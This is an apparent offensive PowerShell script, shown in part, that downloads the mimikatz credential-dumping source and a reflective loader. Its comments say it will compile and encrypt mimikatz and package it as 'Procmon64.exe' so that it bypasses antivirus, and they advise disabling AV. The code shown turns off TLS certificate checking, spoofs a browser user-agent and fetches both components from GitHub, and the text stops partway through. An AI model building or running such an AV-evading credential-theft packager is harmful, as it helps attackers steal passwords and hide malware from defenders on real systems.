#requires -version 2 <# Author: Noah @subTee's reflexive loader Required Dependencies: msbuild, csc Execute: Run-UpdateKatz -Verbose This will download the latest mimikatz source and @subTee's reflexive PE loader, unzip, compile, encrypt, and package the mimikatz binary into Procmon64.exe. The file itself will bypass AV. Running is a different story. Obviously run this from a clean machine, disable AV so you don't lose mimikatz https://stackoverflow.com/questions/25506178/getting-msbuild-exe-without-installing-visual-studio #> $msbuild_path = "C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\MSBuild\15.0\Bin\amd64\MSBuild.exe" $cscBuildPath = "C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\MSBuild\15.0\Bin\Roslyn\csc.exe" $utilName = "Procmon64.exe" function Get-MimiAndKatz { [CmdletBinding()] Param() Write-Verbose "Downloading mimi katz and katz2.0..." $Domain = "" $User = "" $Password = "" [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} #$proxy = [Net.WebRequest]::GetSystemWebProxy() #$credCache = [Net.CredentialCache]::new() #$netCreds = [Net.NetworkCredential]::new("$User","$Password","$Domain") #$credCache.Add([Net.WebProxy]::GetDefaultProxy().Address, "Basic", $netCreds) #$proxy.Credentials = $credCache $webClient = New-Object System.NET.WebClient #$webClient.Proxy = $proxy $webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3578.108 Safari/537.36") $mimiURL = "https://github.com/gentilkiwi/mimikatz/archive/master.zip" $destMimi = (Get-Location).Path + "\mimikatz-master.zip" $webClient.DownloadFile($mimiURL, $destMimi) $katzURL = "https://raw.githubusercontent.com/thesubtlety/Utils/master/katz2.0.cs" $destKatz = (Get-Location).Path + "\katz2.0.cs" $webClient.DownloadFile($katzURL, $destKatz) Write-Verbose "Saving to `n`t$destKatz `n`t$destMimi" Unzip $destMimi ($destMimi -replace ".zip") } # Required for posh